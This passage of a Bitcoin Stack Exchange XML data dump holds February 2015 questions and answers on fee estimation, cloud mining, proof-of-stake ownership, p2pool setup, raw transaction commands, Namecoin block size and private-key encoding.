kilobyte.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks the the work of several volunteers, the Bitcoin Core GUI now also uses this information to allow everyday users to easily choose between fast confirmation and low fees.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/tDW6o.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/tDW6o.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;br&gt;&#xA;&lt;sub&gt;(source: &lt;a href=&quot;http://bitcoinillustrated.org/images/2015-02-24-071217_879x545_scrot.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;bitcoinillustrated.org&lt;/a&gt;)&lt;/sub&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This really gives the fee market a chance to develop so that Bitcoin Core can automatically adjust to things like filled (max-size) blocks, new larger blocks, changing use patterns, and significant changes in BTC/fiat exchange rates.  It is also hoped that some safe way will be found to allow SPV clients to also estimate fees and priority so that they can offer their users the same informed choices.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Is the 0.0001 BTC fee deprecated?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Yes, mostly.  It's still the default if not enough information can be gathered from the network.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is also still unchanged the default relay fee of 0.00001 BTC per kilobyte.  This isn't related to transactions you create but rather the transactions your node will accept for relay.  The default is widely used, so paying less than it is not a good idea.&lt;/p&gt;&#xA;" OwnerUserId="21052" LastEditorUserId="42185" LastEditDate="2019-03-14T16:37:04.540" LastActivityDate="2019-03-14T16:37:04.540" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="36200" PostTypeId="1" AcceptedAnswerId="36274" CreationDate="2015-02-24T13:22:46.207" Score="4" ViewCount="15253" Body="&lt;p&gt;I have tried one of the hashpower selling/buying website (&lt;code&gt;nicehash&lt;/code&gt;) to buy hashpower. I have connected my order to a pool where I had one worker. &#xA;However, despite all the advertisements, I could not make a profit! I do not know what to watch to know whether my order is profitable or not? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;And what makes the profit at all? Is it the fact that the hashpower I buy will become more hashpower if I mine in a pool (I observed that sometimes that is the case, but not for the whole lifetime of the order)?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you!&lt;/p&gt;&#xA;" OwnerUserId="24433" LastEditorUserId="5406" LastEditDate="2016-04-10T12:47:47.203" LastActivityDate="2018-04-11T23:34:04.737" Title="How do I make a profit buying cloud-hashing contracts?" Tags="|mining-pools|mining-profitability|hashpower|stratum|cloud-mining|" AnswerCount="6" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="36201" PostTypeId="2" ParentId="36200" CreationDate="2015-02-24T15:38:27.803" Score="3" Body="&lt;p&gt;The profit is the lesson: you got scammed. &lt;/p&gt;&#xA;" OwnerUserId="5292" LastActivityDate="2015-02-24T15:38:27.803" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36202" PostTypeId="2" ParentId="36187" CreationDate="2015-02-24T15:39:21.817" Score="1" Body="&lt;p&gt;&lt;a href=&quot;https://bitcoin.org/en/download&quot; rel=&quot;nofollow&quot;&gt;https://bitcoin.org/en/download&lt;/a&gt; has binaries you can download and verify.&lt;br&gt;&#xA;They're probably the safest to use, apart from building from source.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Building bitcoin from source also has become a lot easier with the past releases, I've had similar horrors as you with building other software from source and upgrading, but looking at how it has evolved for bitcoin I'd say the future looks bright.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;PS. That PPA is also recommended on &lt;a href=&quot;https://bitcoin.org/en/download&quot; rel=&quot;nofollow&quot;&gt;https://bitcoin.org/en/download&lt;/a&gt; and I've used it in the past, without any problems, though I can't say anything about how safe it is, but like @Murch pointed out he's at least not a completely random person but someone who worked a lot on bitcoin core.&lt;/p&gt;&#xA;" OwnerUserId="15209" LastActivityDate="2015-02-24T15:39:21.817" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36203" PostTypeId="2" ParentId="304" CreationDate="2015-02-24T17:14:35.153" Score="0" Body="&lt;p&gt;onename is a good service for this, it uses the Namecoin blockchain so you can easily lookup the data without the onename website too.&lt;/p&gt;&#xA;" OwnerUserId="18441" LastActivityDate="2015-02-24T17:14:35.153" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36204" PostTypeId="2" ParentId="32649" CreationDate="2015-02-24T18:33:14.953" Score="1" Body="&lt;p&gt;You can use &lt;a href=&quot;https://coinvoy.net&quot; rel=&quot;nofollow&quot;&gt;coinvoy&lt;/a&gt;. I think it provides what you need. With coinvoy you don't need to generate specific address for every payment (coinvoy does it for you), you just need to generate payments for orders and listen for the IPN calls. No need to register, you can start using it immediately by using &lt;a href=&quot;https://github.com/coinvoy/csharp-client&quot; rel=&quot;nofollow&quot;&gt;C# client library&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is a free service (as in beer and as in freedom) and it liberates you from downloading bitcoind which stores blockchain data (it must be around 25GB currently). There is no speeding up though but it forwards the payment to your address as soon as the payment broadcasted on the network.&lt;/p&gt;&#xA;" OwnerUserId="24439" LastActivityDate="2015-02-24T18:33:14.953" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36205" PostTypeId="1" CreationDate="2015-02-24T23:05:14.930" Score="1" ViewCount="365" Body="&lt;p&gt;The parameters included in the staking are listed &lt;a href=&quot;https://github.com/ppcoin/ppcoin/blob/master/src/kernel.cpp#L290-L312&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// ppcoin kernel protocol&#xA;// coinstake must meet hash target according to the protocol:&#xA;// kernel (input 0) must meet the formula&#xA;//     hash(nStakeModifier + txPrev.block.nTime + txPrev.offset + txPrev.nTime + txPrev.vout.n + nTime) &amp;lt; bnTarget * nCoinDayWeight&#xA;// this ensures that the chance of getting a coinstake is proportional to the&#xA;// amount of coin age one owns.&#xA;// The reason this hash is chosen is the following:&#xA;//   nStakeModifier: &#xA;//       (v0.3) scrambles computation to make it very difficult to precompute&#xA;//              future proof-of-stake at the time of the coin's confirmation&#xA;//       (v0.2) nBits (deprecated): encodes all past block timestamps&#xA;//   txPrev.block.nTime: prevent nodes from guessing a good timestamp to&#xA;//                       generate transaction for future advantage&#xA;//   txPrev.offset: offset of txPrev inside block, to reduce the chance of &#xA;//                  nodes generating coinstake at the same time&#xA;//   txPrev.nTime: reduce the chance of nodes generating coinstake at the same&#xA;//                 time&#xA;//   txPrev.vout.n: output number of txPrev, to reduce the chance of nodes&#xA;//                  generating coinstake at the same time&#xA;//   block/tx hash should not be used here as they can be generated in vast&#xA;//   quantities so as to generate blocks faster, degrading the system back into&#xA;//   a proof-of-work situation.&#xA;//&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I don't see anything that proves ownership of the coins that were staked in a particular output. I assume there must be something, though, or else anyone could stake with anyone else's UTXOs. What am I missing?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Maybe it is just a requirement that there be a transactions spending the output be included in the block? If so, then if someone created that initial transaction, then they could give it to someone else and let them do the manual labor of checking once per second to see if their stake succeeds? &lt;/p&gt;&#xA;" OwnerUserId="18196" LastActivityDate="2015-02-25T07:38:47.740" Title="In Peercoin style Proof of Stake, can one person 'stake' for another's address?" Tags="|proof-of-stake|peercoin|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36206" PostTypeId="2" ParentId="36205" CreationDate="2015-02-25T07:38:47.740" Score="2" Body="&lt;p&gt;Look at lines 401 and 402 of the code you linked to. The block must be signed with the key that can spend the UTXOs.&lt;/p&gt;&#xA;" OwnerUserId="85" LastActivityDate="2015-02-25T07:38:47.740" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="36207" PostTypeId="2" ParentId="35424" CreationDate="2015-02-25T07:42:22.063" Score="0" Body="&lt;p&gt;I think the latest install puts bitcoind and bitcoin-cli in /usr/bin (not in /usr/local/bin).&lt;/p&gt;&#xA;" OwnerUserId="1799" LastActivityDate="2015-02-25T07:42:22.063" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36208" PostTypeId="2" ParentId="36200" CreationDate="2015-02-25T09:10:45.207" Score="4" Body="&lt;p&gt;I use this analogy for cloud mining: &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;If you had a money printing machine would you rent it out or use it yourself? &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Cloud mining -no matter how you consider it- makes no sense financially. If the company is making a loss, they'll be out of business, if they're making a profit, why aren't they making that profit directly? &lt;/p&gt;&#xA;" OwnerUserId="9382" LastActivityDate="2015-02-25T09:10:45.207" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="36211" PostTypeId="1" AcceptedAnswerId="36242" CreationDate="2015-02-25T12:53:19.967" Score="0" ViewCount="1068" Body="&lt;p&gt;I am running latest bitcoind and p2pool releases (default port settings) on Fedora 21 with ports open for 3332-3333, 8332-8333, and 9332-9333.  Everything appears to be well when connecting to the BC net, but when one of my miners (Antminer S5) connects to &lt;a href=&quot;http://myhostname/IP&quot; rel=&quot;nofollow&quot;&gt;http://myhostname/IP&lt;/a&gt; port 3333 p2pool will not respond.  When I try to connect with port &lt;a href=&quot;http://myhostname/IP&quot; rel=&quot;nofollow&quot;&gt;http://myhostname/IP&lt;/a&gt; port 9333, I get a twisted error complaining about authentication, but when I try to connect to port myhostname/IP (stratum+tcp??) port 9333 it looks like the miner is trying to connect and get work, but after several seconds p2pool reports a &quot;handshake timeout&quot; for the miner IP address.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is the error I get:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;2015-02-25 18:05:35.107254 Got peer connection from: IPv4Address(TCP, '192.168.0.21', 45024)&#xA;2015-02-25 18:05:45.108525 Handshake timed out, disconnecting from 192.168.0.21:45024&#xA;2015-02-25 18:05:45.109817 Peer connection lost: ('192.168.0.21', 45024) [Failure instance: Traceback (failure with no frames): &amp;lt;class  twisted.internet.error.ConnectionAborted'&amp;gt;: Connection was aborted locally, using.&#xA;2015-02-25 18:05:45.110143&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What am I doing wrong?&lt;/p&gt;&#xA;" OwnerUserId="24450" LastEditorUserId="2306" LastEditDate="2015-02-25T23:45:03.327" LastActivityDate="2015-02-27T13:29:10.000" Title="BItcoind/P2Pool What am I doing wrong?" Tags="|p2pool|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="36212" PostTypeId="1" AcceptedAnswerId="36213" CreationDate="2015-02-25T14:03:31.870" Score="1" ViewCount="1210" Body="&lt;p&gt;I'm programming the back-end for an ecommerce solution, Bitcoind API gives me one way of sending money to a bitcoin address: &lt;code&gt;sendfrom &amp;lt;fromaccount&amp;gt; &amp;lt;tobitcoinaddress&amp;gt; &amp;lt;amount&amp;gt;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I understood well, this will transfer money from one account to an address, but I don't see any way of sending from address to address. I didn't implemented accounts on my backend system, and don't want to do it as it's an aditional layer of complexity that I don't want to deal with right now.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, I supose this will grab money from whatever address/addresses asociated to the account and send them to the bitcoin address provided. Any way of doing what I want to do?&lt;/p&gt;&#xA;" OwnerUserId="24480" LastActivityDate="2015-02-25T15:20:53.367" Title="Sending from address to address in bitcoind" Tags="|bitcoind|address|php|sending|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36213" PostTypeId="2" ParentId="36212" CreationDate="2015-02-25T15:15:57.180" Score="1" Body="&lt;p&gt;To find the transaction outputs you can spend&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;listunspent 0 99999999999 &quot;[\&quot;addressYouWantToSpend\&quot;]&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then create the tx&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;createrawtransaction &quot;[{\&quot;txid\&quot;:\&quot;txIdToSpend\&quot;,\&quot;vout\&quot;:n}]&quot; &quot;{\&quot;destinationAddress\&quot;:amountToSend, \&quot;changeAddress\&quot;:changeAmount}&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then sign the tx&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;signrawtransaction &amp;lt;hexStringProvidedBycreaterawtransaction&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then publish the tx&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;sendrawtransaction &amp;lt;hexStringProvidedBysignrawtransaction&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="24487" LastActivityDate="2015-02-25T15:15:57.180" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="36214" PostTypeId="2" ParentId="36212" CreationDate="2015-02-25T15:20:53.367" Score="0" Body="&lt;p&gt;You have a few options here. You can create a raw transaction as discussed in another answer, but this is probably the most difficult and easiest to do wrong (make sure your inputs and outputs match!) &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another option would be to create a one-to-one mapping from addresses to accounts. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can also play games with the &lt;code&gt;move&lt;/code&gt; command moving coins from one account to another and then sending, from that account, but this is complex also. &lt;/p&gt;&#xA;" OwnerUserId="4241" LastActivityDate="2015-02-25T15:20:53.367" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="36216" PostTypeId="1" AcceptedAnswerId="36222" CreationDate="2015-02-25T20:32:58.863" Score="2" ViewCount="206" Body="&lt;p&gt;Bitcoin's blocksize limit is currently 1MB. It seems as if Namecoin would have to be bigger due to it proving 512 bytes of storage with a name update, but it also has slower average block times (about 20 minutes according to &lt;a href=&quot;https://bitinfocharts.com/namecoin/&quot; rel=&quot;nofollow&quot;&gt;BitInfoCharts&lt;/a&gt;). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does Namecoin also have block size limit? What size is it?&lt;/p&gt;&#xA;" OwnerUserId="18506" LastEditorUserId="5406" LastEditDate="2015-06-23T10:07:01.020" LastActivityDate="2015-06-23T10:07:01.020" Title="What is Namecoin's blocksize limit?" Tags="|namecoin|blocksize|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36217" PostTypeId="1" AcceptedAnswerId="36221" CreationDate="2015-02-25T22:33:50.247" Score="3" ViewCount="3418" Body="&lt;p&gt;I'm looking for a way to generate private keys in Java. I'd like to make this a standalone program, so I'd rather not use a library like bitcoinj. From my research I've only seen people recommend using bitcoinj. Has anyone created anything like this? Thanks.&lt;/p&gt;&#xA;" OwnerUserId="24495" LastActivityDate="2015-02-26T02:52:52.360" Title="Generating private keys in Java" Tags="|private-key|address-generation|java|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36218" PostTypeId="1" CreationDate="2015-02-25T23:01:37.270" Score="1" ViewCount="273" Body="&lt;p&gt;I'm wondering how cryptocurrency exchange platform adapt to country regulations where foreign exchange is forbidden (especially where sending money outside is forbidden).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How they could buy Bitcoin from outside without violating regulations (foreign exchange regulations), in the case if they don't have much liquidity to match international market price of Bitcoin ?&lt;/p&gt;&#xA;" OwnerUserId="18482" LastEditorUserId="2306" LastEditDate="2015-03-13T22:34:15.117" LastActivityDate="2022-01-28T20:59:40.710" Title="Bitcoin exchange platforms and foreign exchange regulations" Tags="|exchanges|regulation|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36219" PostTypeId="2" ParentId="36218" CreationDate="2015-02-25T23:54:08.200" Score="1" Body="&lt;p&gt;There's basically no way to answer this in a way that's general to countries that forbid foreign exchange, because these regulations have different goals in different countries.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, in Venezuela, all foreign exchanges must go through a state bank. The purpose of this is so that they can pretend that their currency is worth more than it actually is. If the central bank in Venezuela doesn't deal in the currency of your choice, I don't think you have any sort of recourse.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't have any advice for you, besides, &quot;Hire the nephew of the guy who runs the central bank in your country.&quot;&lt;/p&gt;&#xA;" OwnerUserId="2306" LastEditorUserId="2306" LastEditDate="2015-02-26T02:29:02.637" LastActivityDate="2015-02-26T02:29:02.637" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36220" PostTypeId="2" ParentId="36218" CreationDate="2015-02-26T02:21:07.687" Score="1" Body="&lt;p&gt;Illegal exchange flourishes wherever exchange is forbidden.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Legal exchange operates to the degree and magnitude of effective enforcement of the ban.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Tracking goods &amp;amp; services trade paid in a cryptocurrency would be difficult, so trade would be the only way in an area that effectively restricts a cryptocurrency's trade with other currencies.&lt;/p&gt;&#xA;" OwnerUserId="19323" LastActivityDate="2015-02-26T02:21:07.687" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36221" PostTypeId="2" ParentId="36217" CreationDate="2015-02-26T02:52:52.360" Score="2" Body="&lt;p&gt;Most private keys are essentially just random numbers, so if all you want is a private key, you just need to use a high-entropy random function to generate your private key that's 256 bits. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Converting those bits into something a normal bitcoin wallet can understand (like WIF) is a little trickier, but the process is spelled out &lt;a href=&quot;https://en.bitcoin.it/wiki/Wallet_import_format&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;. I'm recapping the actual process here so you can use the Java library &lt;code&gt;java.security.MessageDigest&lt;/code&gt; for SHA256 and you can use &lt;a href=&quot;https://code.google.com/p/bitcoinj/source/browse/core/src/main/java/com/google/bitcoin/core/Base58.java&quot; rel=&quot;nofollow&quot;&gt;this code snippet&lt;/a&gt; to convert to Base58.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1 - Take a private key&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0C28FCA386C7A227600B2FE50B7CAE11EC86D3BF1FBE471BE89827E19D72AA1D&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;2 - Add a 0x80 byte in front of it for mainnet addresses or 0xef for testnet addresses. Also add a 0x01 byte at the end if the private key will correspond to a compressed public key&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;800C28FCA386C7A227600B2FE50B7CAE11EC86D3BF1FBE471BE89827E19D72AA1D&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;3 - Perform SHA-256 hash on the extended key&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;8147786C4D15106333BF278D71DADAF1079EF2D2440A4DDE37D747DED5403592&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;4 - Perform SHA-256 hash on result of SHA-256 hash&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;507A5B8DFED0FC6FE8801743720CEDEC06AA5C6FCA72B07C49964492FB98A714&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;5 - Take the first 4 bytes of the second SHA-256 hash, this is the checksum&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;507A5B8D&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;6 - Add the 4 checksum bytes from point 5 at the end of the extended key from point 2&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;800C28FCA386C7A227600B2FE50B7CAE11EC86D3BF1FBE471BE89827E19D72AA1D507A5B8D&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;7 - Convert the result from a byte string into a base58 string using Base58Check encoding. This is the Wallet Import Format&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;5HueCGU8rMjxEXxiPuD5BDku4MkFqeZyd4dZ1jvhTVqvbTLvyTJ&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="23123" LastActivityDate="2015-02-26T02:52:52.360" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="36222" PostTypeId="2" ParentId="36216" CreationDate="2015-02-26T06:08:56.727" Score="2" Body="&lt;p&gt;Namecoin has not strayed from Bitcoin in this parameter, it is still set at a 1 MB block size limit. You can find it in &lt;a href=&quot;https://github.com/namecoin/namecoin/blob/namecoinq/src/main.h#L42-L43&quot; rel=&quot;nofollow&quot;&gt;main.h&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/** The maximum allowed size for a serialized block, in bytes (network rule) */&#xA;static const unsigned int MAX_BLOCK_SIZE = 1000000;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="18196" LastEditorUserId="5406" LastEditDate="2015-02-26T10:32:37.970" LastActivityDate="2015-02-26T10:32:37.970" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36223" PostTypeId="1" CreationDate="2015-02-26T09:32:28.853" Score="1" ViewCount="86" Body="&lt;p&gt;From &lt;a href=&quot;https://github.com/bitcoin/bitcoin/blob/0.10/doc/release-notes.md&quot; rel=&quot;nofollow&quot;&gt;Bitcoincore release notes&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Because release 0.10.0 makes use of headers-first synchronization and&#xA;  parallel block download (see further), the block files and databases&#xA;  are not backwards-compatible with older versions of Bitcoin Core or&#xA;  other software:&lt;/p&gt;&#xA;  &#xA;  &lt;ul&gt;&#xA;  &lt;li&gt;&lt;p&gt;Blocks will be stored on disk out of order (in the order they are&#xA;  received, really), which makes it incompatible with some tools or&#xA;  other programs. Reindexing using earlier versions will also not work&#xA;  anymore as a result of this.&lt;/p&gt;&lt;/li&gt;&#xA;  &lt;li&gt;&lt;p&gt;The block index database will now hold headers for which no block is&#xA;  stored on disk, which earlier versions won't support.&lt;/p&gt;&lt;/li&gt;&#xA;  &lt;/ul&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;How exactly does the new blockchain format effect blockchain parsing projects (of &lt;code&gt;blkxxxx.dat&lt;/code&gt; files) which likely rely on the old format? Is there a work-around? Are there any other specifics worth mentioning?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Examples of specific projects:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://code.google.com/p/blockchain/&quot; rel=&quot;nofollow&quot;&gt;John Ratcliff C++ Blockchain parser&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://coinlogic.wordpress.com/2014/02/18/the-protocol-1-block/&quot; rel=&quot;nofollow&quot;&gt;Python code&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="9382" LastActivityDate="2015-02-26T09:32:28.853" Title="Blockchain (lack of backwards) compatibility in Bitcoincore 0.10.x" Tags="|blockchain|bitcoin-core-development|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36224" PostTypeId="1" AcceptedAnswerId="36233" CreationDate="2015-02-26T09:39:13.993" Score="6" ViewCount="1262" Body="&lt;p&gt;From the &lt;a href=&quot;https://github.com/bitcoin/bitcoin/blob/0.10/doc/release-notes.md#standard-script-rules-relaxed-for-p2sh-addresses&quot; rel=&quot;nofollow&quot;&gt;Bitcoin Core 0.10.0 release notes&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;Standard script rules relaxed for P2SH addresses&lt;/strong&gt;&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;The IsStandard() rules have been almost completely removed for P2SH&#xA;  redemption scripts, allowing applications to make use of any valid&#xA;  script type, such as &quot;n-of-m OR y&quot;, hash-locked oracle addresses, etc.&#xA;  While the Bitcoin protocol has always supported these types of script,&#xA;  actually using them on mainnet has been previously inconvenient as&#xA;  standard Bitcoin Core nodes wouldn't relay them to miners, nor would&#xA;  most miners include them in blocks they mined.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;So essentially the core software will now relay more intricate P2SH Txns which would previously be deemed &lt;em&gt;non-standards transactions&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What are the specific changes which have been made (ie relaxed standards)? Does it only apply to P2SH Txns? Finally, &lt;code&gt;&quot;n-of-m OR y&quot;&lt;/code&gt; and &lt;code&gt;hash-locked oracle addresses&lt;/code&gt; are mentioned as examples: what does this refer to exactly?&lt;/p&gt;&#xA;" OwnerUserId="9382" LastEditorUserId="121614" LastEditDate="2022-06-04T15:00:48.647" LastActivityDate="2022-06-04T15:00:48.647" Title="What is meant by &quot;relaxed standards&quot; for P2SH redeem scripts in Bitcoin Core 0.10.0?" Tags="|bitcoin-core|transactions|p2sh|non-standard-transaction|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="36227" PostTypeId="2" ParentId="29586" CreationDate="2015-02-26T13:27:32.790" Score="1" Body="&lt;p&gt;Protocol Buffer is an open source serialization library from Google.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you can code, it should not take you too long to create a script (for instance in Python) to get out the content of the field you are interested in. In this case the field containing the private key.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the doc for the Python protocol buffer library: &lt;a href=&quot;https://developers.google.com/protocol-buffers/docs/reference/python-generated&quot; rel=&quot;nofollow&quot;&gt;https://developers.google.com/protocol-buffers/docs/reference/python-generated&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The protocol buffer library use a .proto file to describe the possible fields in the serialized format. I presume that you do not have access to it. This will have the disadvantage that you will not have the name of the fields when you will deserialize the wallet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That should however not prevent you from deserializing. You will then need to guess which value is the private key.&lt;/p&gt;&#xA;" OwnerUserId="24502" LastActivityDate="2015-02-26T13:27:32.790" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="36228" PostTypeId="2" ParentId="23912" CreationDate="2015-02-26T13:43:33.337" Score="18" Body="&lt;p&gt;The target section of the block header is called &lt;em&gt;nBits&lt;/em&gt; in the code.  nBits is a 32-bit compact encoding of a 256-bit target threshold.  It works like scientific notation, except that it uses base-256 instead of base-10.  For example, if nBits is equal to 0x181bc330, you would calculate it like this:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://developer.bitcoin.org/_images/en-nbits-overview.svg&quot; alt=&quot;nBits formula&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;Or, more simply, you'd use the same shorthand you use with regular scientific notation:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://developer.bitcoin.org/_images/en-nbits-quick-parse.svg&quot; alt=&quot;nBits quick&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;At a re-target point (every 2,016th block), Bitcoin Core adjusts nBits according to the rules described &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/5838/how-is-difficulty-calculated&quot;&gt;in this answer&lt;/a&gt; except that it is important to note that when difficulty changes by &lt;em&gt;p&lt;/em&gt; percent, nBits is adjusted by the inverse (&lt;em&gt;-p&lt;/em&gt; percent).  That's because a lower target is harder to reach the way Bitcoin is implemented.&lt;/p&gt;&#xA;&lt;p&gt;It's also important to note that you can't just adjust the exponent part of nBits in the obvious way because when Satoshi first wrote the code, he inherited from a signed type---so extra care must be taken not to create a negative nBits value.  The Bitcoin.org Developer Reference has &lt;a href=&quot;https://bitcoin.org/en/developer-reference#target-nbits&quot; rel=&quot;nofollow noreferrer&quot;&gt;more details&lt;/a&gt; (but be careful, I haven't yet had an expert review that section).&lt;/p&gt;&#xA;" OwnerUserId="21052" LastEditorUserId="5406" LastEditDate="2023-05-23T16:07:23.027" LastActivityDate="2023-05-23T16:07:23.027" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="36229" PostTypeId="1" AcceptedAnswerId="36244" CreationDate="2015-02-26T15:22:29.000" Score="1" ViewCount="790" Body="&lt;p&gt;I'm curious about how one might replicate the functionality of &lt;a href=&quot;http://whatbitcointhinks.com/&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://whatbitcointhinks.com/&lt;/a&gt; using bitcoin script. The functionality is that there's a sort of crowdfunding competition between two charities. There's a time limit on the competition so that by the end, the charity that has raised the most funds wins all the funds.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's a screenshot of the concept:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/lywtW.png&quot; alt=&quot;whatbitcointhinks.com screen shot&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The question of how this might be implemented as a smart contract came up on r/bitcoin, and I &lt;a href=&quot;http://www.reddit.com/r/Bitcoin/comments/2wzaik/pretty_clever_use_of_micropayments/cowz5vn&quot; rel=&quot;nofollow 